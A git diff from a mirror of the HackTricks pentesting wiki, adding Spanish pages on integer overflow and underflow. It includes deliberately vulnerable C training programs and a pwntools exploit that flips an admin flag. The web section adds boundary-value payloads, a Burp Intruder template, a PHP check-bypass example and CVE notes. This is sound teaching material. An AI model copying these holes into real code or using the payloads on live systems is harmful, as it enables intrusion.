mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo
This commit is contained in:
parent
e3b5465e75
commit
301adb491a
@ -785,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
|
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,368 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Información básica
|
||||
|
||||
En el corazón de un **integer overflow** está la limitación impuesta por el **tamaño** de los tipos de datos en la programación y la **interpretación** de los datos.
|
||||
|
||||
Por ejemplo, un **entero sin signo de 8 bits** puede representar valores desde **0 a 255**. Si intentas almacenar el valor 256 en un entero sin signo de 8 bits, se desborda y vuelve a 0 debido a la limitación de su capacidad de almacenamiento. De manera similar, para un **entero sin signo de 16 bits**, que puede contener valores desde **0 a 65,535**, sumar 1 a 65,535 hará que el valor se reinicie a 0.
|
||||
|
||||
Además, un **entero con signo de 8 bits** puede representar valores desde **-128 a 127**. Esto se debe a que un bit se usa para representar el signo (positivo o negativo), dejando 7 bits para representar la magnitud. El número más negativo se representa como **-128** (binario `10000000`), y el número más positivo es **127** (binario `01111111`).
|
||||
|
||||
Valores máximos para tipos enteros comunes:
|
||||
| Tipo | Tamaño (bits) | Valor mínimo | Valor máximo |
|
||||
|----------------|---------------|-----------------------|-----------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
Un short equivale a un `int16_t`, un int equivale a un `int32_t` y un long equivale a un `int64_t` en sistemas de 64 bits.
|
||||
|
||||
### Valores máximos
|
||||
|
||||
Para posibles **vulnerabilidades web** es muy interesante conocer los valores máximos soportados:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Ejemplos
|
||||
|
||||
### Puro overflow
|
||||
|
||||
El resultado impreso será 0 ya que overflowed el char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Considere una situación en la que un entero con signo se lee desde la entrada del usuario y luego se utiliza en un contexto que lo trata como un entero sin signo, sin la validación adecuada:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
En este ejemplo, si un usuario introduce un número negativo, se interpretará como un gran entero sin signo debido a la forma en que se interpretan los valores binarios, lo que podría provocar un comportamiento inesperado.
|
||||
|
||||
### macOS Overflow Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compílalo con:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
#### Exploit
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
### macOS Underflow Ejemplo
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compílalo con:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
### Otros ejemplos
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Solo 1B se usa para almacenar el tamaño de la contraseña, por lo que es posible hacer overflow y hacer que piense que su longitud es 4 mientras en realidad es 260 para bypass la comprobación de longitud
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Dado un par de números, encuentra usando z3 un nuevo número que multiplicado por el primero dé el segundo:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Solo 1B se usa para almacenar el tamaño de la contraseña, por lo que es posible hacer overflow y hacer que piense que su longitud es 4 mientras en realidad es 260 para bypass la comprobación de longitud y overwrite en la stack la siguiente variable local y bypass ambas protecciones
|
||||
|
||||
## ARM64
|
||||
|
||||
Esto **no cambia en ARM64** como puedes ver en [**este artículo**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,115 +0,0 @@
|
||||
# Desbordamiento de Enteros
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
En el corazón de un **desbordamiento de enteros** está la limitación impuesta por el **tamaño** de los tipos de datos en la programación de computadoras y la **interpretación** de los datos.
|
||||
|
||||
Por ejemplo, un **entero sin signo de 8 bits** puede representar valores de **0 a 255**. Si intentas almacenar el valor 256 en un entero sin signo de 8 bits, se envuelve a 0 debido a la limitación de su capacidad de almacenamiento. De manera similar, para un **entero sin signo de 16 bits**, que puede contener valores de **0 a 65,535**, agregar 1 a 65,535 hará que el valor vuelva a 0.
|
||||
|
||||
Además, un **entero con signo de 8 bits** puede representar valores de **-128 a 127**. Esto se debe a que un bit se utiliza para representar el signo (positivo o negativo), dejando 7 bits para representar la magnitud. El número más negativo se representa como **-128** (binario `10000000`), y el número más positivo es **127** (binario `01111111`).
|
||||
|
||||
### Valores máximos
|
||||
|
||||
Para las posibles **vulnerabilidades web**, es muy interesante conocer los valores máximos soportados:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Ejemplos
|
||||
|
||||
### Desbordamiento puro
|
||||
|
||||
El resultado impreso será 0 ya que desbordamos el char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Conversión de Entero Firmado a No Firmado
|
||||
|
||||
Considere una situación en la que un entero firmado se lee de la entrada del usuario y luego se utiliza en un contexto que lo trata como un entero no firmado, sin la validación adecuada:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
En este ejemplo, si un usuario introduce un número negativo, se interpretará como un gran entero sin signo debido a la forma en que se interpretan los valores binarios, lo que puede llevar a un comportamiento inesperado.
|
||||
|
||||
### Otros Ejemplos
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud.
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Dado un par de números, encuentra usando z3 un nuevo número que multiplicado por el primero dará el segundo:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud y sobrescribir en la pila la siguiente variable local y eludir ambas protecciones.
|
||||
|
||||
## ARM64
|
||||
|
||||
Esto **no cambia en ARM64** como puedes ver en [**este post del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,46 +1,45 @@
|
||||
# Desbordamiento de Enteros (Aplicaciones Web)
|
||||
# Integer Overflow (Web Applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Esta página se centra en cómo **los desbordamientos/truncamientos de enteros pueden ser abusados en aplicaciones web y navegadores**. Para primitivas de explotación dentro de binarios nativos, puedes continuar leyendo la página dedicada:
|
||||
> Esta página se centra en cómo **integer overflows/truncations can be abused in web applications and browsers**. Para exploitation primitives dentro de binarios nativos puedes seguir leyendo la página dedicada:
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. Por qué la matemática entera sigue importando en la web
|
||||
## 1. Por qué la aritmética de enteros sigue importando en la web
|
||||
|
||||
A pesar de que la mayoría de la lógica empresarial en pilas modernas está escrita en lenguajes *seguros en memoria*, el tiempo de ejecución subyacente (o bibliotecas de terceros) se implementa eventualmente en C/C++. Siempre que se utilicen números controlados por el usuario para asignar búferes, calcular desplazamientos o realizar verificaciones de longitud, **un desbordamiento de 32 bits o 64 bits puede transformar un parámetro aparentemente inofensivo en una lectura/escritura fuera de límites, un bypass lógico o un DoS**.
|
||||
Aunque la mayor parte de la lógica de negocio en stacks modernos se escribe en lenguajes *memory-safe*, el runtime subyacente (o librerías de terceros) acaba implementándose en C/C++. Siempre que números controlados por el usuario se usan para asignar buffers, calcular offsets o realizar comprobaciones de longitud, **un wrap-around de 32-bit o 64-bit puede transformar un parámetro aparentemente inofensivo en una lectura/escritura fuera de límites, un bypass lógico o un DoS**.
|
||||
|
||||
Superficie de ataque típica:
|
||||
|
||||
1. **Parámetros de solicitud numéricos** – campos clásicos de id, desplazamiento o conteo.
|
||||
2. **Encabezados de longitud/tamaño** – Content-Length, longitud de marco de WebSocket, http/2 continuation_len, etc.
|
||||
3. **Metadatos de formato de archivo analizados del lado del servidor o del cliente** – dimensiones de imagen, tamaños de fragmentos, tablas de fuentes.
|
||||
4. **Conversiones a nivel de lenguaje** – conversiones firmadas↔no firmadas en PHP/Go/Rust FFI, truncamientos de JS Number → int32 dentro de V8.
|
||||
5. **Autenticación y lógica empresarial** – valor de cupón, precio o cálculos de saldo que desbordaron silenciosamente.
|
||||
1. **Numeric request parameters** – campos clásicos id, offset o count.
|
||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
|
||||
3. **File-format metadata parsed server-side or client-side** – dimensiones de imagen, tamaños de chunk, tablas de fuentes.
|
||||
4. **Language-level conversions** – signed↔unsigned casts en PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
|
||||
5. **Authentication & business logic** – cálculos de valor de cupón, precio o balance que silenciosamente overflowean.
|
||||
|
||||
---
|
||||
|
||||
## 2. Vulnerabilidades recientes en el mundo real (2023-2025)
|
||||
## 2. Vulnerabilidades reales recientes (2023-2025)
|
||||
|
||||
| Año | Componente | Causa raíz | Impacto |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | Desbordamiento de multiplicación de 32 bits al calcular el tamaño de píxel decodificado | Provocó un 0-day de Chrome (BLASTPASS en iOS), permitió *ejecución remota de código* dentro del sandbox del renderizador. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncamiento a 32 bits al aumentar un JSArray lleva a escritura OOB en el almacenamiento de respaldo | Ejecución remota de código después de una sola visita. |
|
||||
| 2025 | **Apollo GraphQL Server** (parche no lanzado) | Entero firmado de 32 bits utilizado para argumentos de paginación de primero/último; valores negativos se envuelven a enormes positivos | Bypass lógico y agotamiento de memoria (DoS). |
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Provocó un Chrome 0-day (BLASTPASS on iOS), permitió *remote code execution* dentro del renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Bypass lógico y agotamiento de memoria (DoS). |
|
||||
|
||||
---
|
||||
|
||||
## 3. Estrategia de prueba
|
||||
## 3. Estrategia de pruebas
|
||||
|
||||
### 3.1 Hoja de trucos de valores límite
|
||||
### 3.1 Hoja de referencia de valores límite
|
||||
|
||||
Envía **valores extremos firmados/no firmados** donde se espera un entero:
|
||||
Envía **valores extremos con signo/sin signo** donde se espere un entero:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -50,8 +49,8 @@ Envía **valores extremos firmados/no firmados** donde se espera un entero:
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
Otros formatos útiles:
|
||||
* Hex (0x100), octal (0377), científico (1e10), JSON big-int (9999999999999999999).
|
||||
* Cadenas de dígitos muy largas (>1kB) para golpear analizadores personalizados.
|
||||
* Hex (0x100), octal (0377), notación científica (1e10), JSON big-int (9999999999999999999).
|
||||
* Cadenas de dígitos muy largas (>1kB) para afectar a parsers personalizados.
|
||||
|
||||
### 3.2 Plantilla de Burp Intruder
|
||||
```
|
||||
@ -60,17 +59,17 @@ Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 Bibliotecas y entornos de ejecución de fuzzing
|
||||
### 3.3 Bibliotecas y runtimes de fuzzing
|
||||
|
||||
* **AFL++/Honggfuzz** con un harness de libFuzzer alrededor del parser (por ejemplo, WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – fuzzing consciente de la gramática de motores de JavaScript para golpear truncamientos de enteros en V8/JSC.
|
||||
* **boofuzz** – fuzzing de protocolos de red (WebSocket, HTTP/2) centrado en campos de longitud.
|
||||
* **AFL++/Honggfuzz** con un harness de libFuzzer alrededor del parser (p. ej., WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – fuzzing consciente de la gramática de motores JavaScript para alcanzar truncamientos de enteros en V8/JSC.
|
||||
* **boofuzz** – fuzzing de protocolos de red (WebSocket, HTTP/2) enfocado en campos de longitud.
|
||||
|
||||
---
|
||||
|
||||
## 4. Patrones de explotación
|
||||
|
||||
### 4.1 Bypass de lógica en código del lado del servidor (ejemplo de PHP)
|
||||
### 4.1 Bypass lógico en código del lado del servidor (ejemplo en PHP)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,28 +78,30 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 Desbordamiento de heap a través del decodificador de imágenes (libwebp 0-day)
|
||||
El decodificador sin pérdida de WebP multiplicó el ancho de la imagen × altura × 4 (RGBA) dentro de un int de 32 bits. Un archivo diseñado con dimensiones 16384 × 16384 desborda la multiplicación, asigna un búfer corto y posteriormente escribe **~1GB** de datos descomprimidos más allá del heap, lo que lleva a RCE en todos los navegadores basados en Chromium antes de 116.0.5845.187.
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
El decodificador sin pérdida de WebP multiplicó image width × height × 4 (RGBA) dentro de un int de 32 bits. Un archivo creado con dimensiones 16384 × 16384 desborda la multiplicación, asigna un buffer corto y posteriormente escribe **~1GB** de datos descomprimidos fuera del heap – lo que conduce a RCE en todos los navegadores basados en Chromium anteriores a 116.0.5845.187.
|
||||
|
||||
### 4.3 Cadena de XSS/RCE basada en navegador
|
||||
1. **Desbordamiento de entero** en V8 da lectura/escritura arbitraria.
|
||||
2. Escapar de la sandbox con un segundo error o llamar a APIs nativas para soltar una carga útil.
|
||||
3. La carga útil luego inyecta un script malicioso en el contexto de origen → XSS almacenado.
|
||||
### 4.3 Cadena XSS/RCE basada en el navegador
|
||||
1. **Integer overflow** en V8 proporciona lectura/escritura arbitraria.
|
||||
2. Escapar del sandbox con un segundo bug o llamar a native APIs para desplegar un payload.
|
||||
3. El payload inyecta entonces un script malicioso en el contexto de origen → stored XSS.
|
||||
|
||||
---
|
||||
|
||||
## 5. Directrices defensivas
|
||||
|
||||
1. **Usar tipos amplios o matemáticas verificadas** – p. ej., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
